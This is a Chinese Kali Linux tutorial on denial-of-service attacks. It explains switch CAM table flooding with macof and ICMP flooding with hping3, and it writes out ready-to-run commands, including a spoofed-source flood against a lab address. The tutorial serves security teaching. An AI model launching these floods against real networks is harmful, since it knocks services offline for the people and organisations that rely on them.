Kali渗透测试:拒绝服务攻击
故意占用某一系统对外服务的有限资源,从而导致其无法正常工作的行为就是拒绝服务攻击。拒绝服务攻击是指攻击者想办法让目标停止提供服务,是黑客常用的攻击手段之一。其实对网络带宽进行的消耗性攻击知识拒绝服务攻击的一小部分,只要能够对目标造成麻烦,事情某些服务暂停甚至是主机死机,都属于拒绝服务攻击。拒绝服务攻击一直得不到合理的解决,究其原因是网络协议本身的安全缺陷,使得拒绝服务攻击也成了攻击者的“终极手段”。实际上,拒绝服务攻击并不是一种攻击方式,而是一类具有相似特征的攻击方式的集合。黑客可能利用TCP/IP模型中的数据链路层、网络层、传输层和应用层的各种协议漏洞发起拒绝服务攻击。按照协议划分,拒绝服务攻击及其实现方法有以下几种:
◆ 数据链路层的拒绝服务攻击;
◆ 网络层的拒绝服务攻击;
◆ 传输层的拒绝服务攻击;
◆ 应用层的拒绝服务攻击;
1.1 数据链路层的拒绝服务攻击
数据链路层发起的拒绝服务攻击方式,它的攻击目标是二层交换机。这种攻击方式的目标并不是让二层交换机停止工作,而是让二层交换机以一种不正常的方式工作。这种攻击方式很简单,只需要伪造大量的数据包发送到交换机,这些数据包中的源MAC地址和目的MAC地址都是随机构造处理的,很快就可以将交换机的CAM表填满,这样只能将数据包广播出去。
Kali Linux 提供了很多可以完成这个任务的工具, 其中一种工具—macof,它是Dsniff工具集的成员。使用之前需要先安装,命令如下:
┌──(kali㉿kali)-[~]
└─$ sudo apt install dsniff
这个工具使用方法很简单, 下面给出这个工具使用的格式:
Usage: macof [-s src] [-d dst] [-e tha] [-x sport] [-y dport]
[-i interface] [-n times]
实际应用中,只要参数-i是会使用到的, 这个参数用来指定发送这些伪造数据的网卡。
macof启动
在Kali 终端执行如下命令:
┌──(kali㉿kali)-[~]
└─$ sudo macof
如下图所示:
交换机在受到攻击之后,内部的CAM表很快就会被填满了,交换机退化成集线器,会将收到的数据包全部广播出去,从而无法正常地向局域网提供转发功能。
1.2 网络层的拒绝服务攻击
位于网络层的协议包括ARP、IP和ICMP等,其中ICMP主要用于在主机、路由器之间传递控制消息。ping命令就是基于ICMP,如查看本机发送的数据包能否可以到达目标主机(IP地址192.168.68.242),就可以使用如下图所示的ping命令。
从上图中可以看出,我们发送的数据包得到了应答数据包,这说明目标主机收到了发出的数据包,并给出了应答。
目标主机处理这个请求和应答是要消耗CPU资源的,处理大量ICMP请求,就会消耗更多CPU资源,早期的操作系统无法处理数据包非常大的请求,比方说包的大小指定为65 500。这样构造好的数据包被称作“死亡之ping”,现在的操作系统和CPU完全有能力处理这个数量级的数据包。那么要实现这个攻击目的,必须增加发送到目标主机的数据包的数量,两种方法:一是同时使用堕胎主机发送ICMP数据包,二是提高发送ICMP数据包的速度。
第一种方法只需更多主机重复"ping 目标主机 -l 65500"这个命令就可以。第二种方法就是使用专门进行拒绝服务攻击的工具,Kali 中自带hping3进行拒绝服务攻击。hping3是一款用于生成和解析TCP/IP数据包的开源工具。
hping3启动
在Kali终端执行如下命令:
┌──(kali㉿kali)-[~]
└─$ sudo hping3
hping3>
参考这个工具的帮助文件,查看帮助文件的方法是在终端输入如下命令:
┌──(root💀kali)-[~]
└─# hping3 --help
usage: hping3 host [options]
-h --help show this help
-v --version show version
-c --count packet count
-i --interval wait (uX for X microseconds, for example -i u1000)
--fast alias for -i u10000 (10 packets for second)
--faster alias for -i u1000 (100 packets for second)
--flood sent packets as fast as possible. Don't show replies.
-n --numeric numeric output
-q --quiet quiet
-I --interface interface name (otherwise default routing interface)
-V --verbose verbose mode
-D --debug debugging info
-z --bind bind ctrl+z to ttl (default to dst port)
-Z --unbind unbind ctrl+z
--beep beep for every matching packet received
Mode
default mode TCP
-0 --rawip RAW IP mode
-1 --icmp ICMP mode
-2 --udp UDP mode
-8 --scan SCAN mode.
Example: hping --scan 1-30,70-90 -S www.target.host
-9 --listen listen mode
IP
-a --spoof spoof source address
--rand-dest random destionation address mode. see the man.
--rand-source random source address mode. see the man.
-t --ttl ttl (default 64)
-N --id id (default random)
-W --winid use win* id byte ordering
-r --rel relativize id field (to estimate host traffic)
-f --frag split packets in more frag. (may pass weak acl)
-x --morefrag set more fragments flag
-y --dontfrag set don't fragment flag
-g --fragoff set the fragment offset
-m --mtu set virtual mtu, implies --frag if packet size > mtu
-o --tos type of service (default 0x00), try --tos help
-G --rroute includes RECORD_ROUTE option and display the route buffer
--lsrr loose source routing and record route
--ssrr strict source routing and record route
-H --ipproto set the IP protocol field, only in RAW IP mode
ICMP
-C --icmptype icmp type (default echo request)
-K --icmpcode icmp code (default 0)
--force-icmp send all icmp types (default send only supported types)
--icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)
--icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)
--icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)
--icmp-help display help for others icmp options
UDP/TCP
-s --baseport base source port (default random)
-p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec
-k --keep keep still source port
-w --win winsize (default 64)
-O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)
-Q --seqnum shows only tcp sequence number
-b --badcksum (try to) send packets with a bad IP checksum
many systems will fix the IP checksum sending the packet
so you'll get bad UDP/TCP checksum instead.
-M --setseq set TCP sequence number
-L --setack set TCP ack
-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)
--tcpexitcode use last tcp->th_flags as exit code
--tcp-mss enable the TCP MSS option with the given value
--tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime
Common
-d --data data size (default is 0)
-E --file data from file
-e --sign add 'signature'
-j --dump dump packets in hex
-J --print dump printable characters
-B --safe enable 'safe' protocol
-u --end tell you when --file reached EOF and prevent rewind
-T --traceroute traceroute mode (implies --bind and --ttl 1)
--tr-stop Exit when receive the first not ICMP in traceroute mode
--tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop
--tr-no-rtt Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
--apd-send Send the packet described with APD (see docs/APD.txt)
帮助文件比较长,介绍其中一小部分,hping3中的各个参数含义如下:
◆ -h --help:显示帮助信息
◆ -v --version:显示当前hping的版本
◆ -c --count:发送指定数据包的次数
◆ -i --interval:发送书包之间的间隔时间(格式为uX,表示间隔时间为X微秒)
◆ -n --numeric:数值化的输出
◆ -q --quiet:静默模式,只显示最后的统计数据
◆ -I --interface:指定需要使用的网络接口
◆ -V --verbose:详细模式
◆ -D --debug:调试信息
◆ -z --bind:将Ctrl+Z组合键与发送包的TTL值绑定,按一次TTL值加1
◆ -z --unbind:解除Ctrl+Z组合键与发送包的TTL值的绑定
上面的这些参数都有两种表达方式, 例如-h和–help的作用是相同的。另外,对于发送数据包的时间间隔还有几种特殊用法。
◆ - i --fast:将数据包之间的间隔时间设置为10 000微秒,也就是每秒发送10个
◆ - i – faster:将数据包之间的间隔时间设置为1000微妙,也就是每秒发送100个
◆ - i – flood:尽可能快地发送数据包,不显示回应
hping3中发送数据包的模式选择如下:
◊ -1 --icmp: ICMP模式,此模式下hping会发送ICMP数据包,你可以用–ICMPTYPE。–ICMPCODE选项发送其他类型/模式的ICMP数据包
◊ -2 --udp:UDP模式,默认情况下,hping发送UDP数据包到主机的0端口,你可以用–baseport --destport – keep选项指定其模式
◊ -8 --scan:SCAN mode扫描模式,指定扫描对应的端口
构造ICMP拒绝服务攻击
下面构造一次基于ICMP的拒绝服务攻击。在Kali中打开一个终端,然后输入如下命令:
┌──(root💀kali)-[~]
└─# hping3 -q --rand-source --id 0 --icmp -d 56 --flood 192.168.68.191
其中-q 表示静默模式,不显示接收和发送的数据包; --rand-source 表示伪造随机的源地址; --id 0 表示有ICMP应答请求(就是我们平时执行ping命令时的数据包);-d 56表示数据包的大小(56是执行ping命令时数据包的大小); --flood表示尽可能快地发送数据包。
这种攻击产生的数据包的速度非常快,我们使用Ctrl+C组合键能结束这个过程。可以看到在短短的几秒内,就已经产生了上百万个ICMP数据包,如下图所示:
接下文Kali渗透测试:拒绝服务攻击(二)https://developer.aliyun.com/article/1618786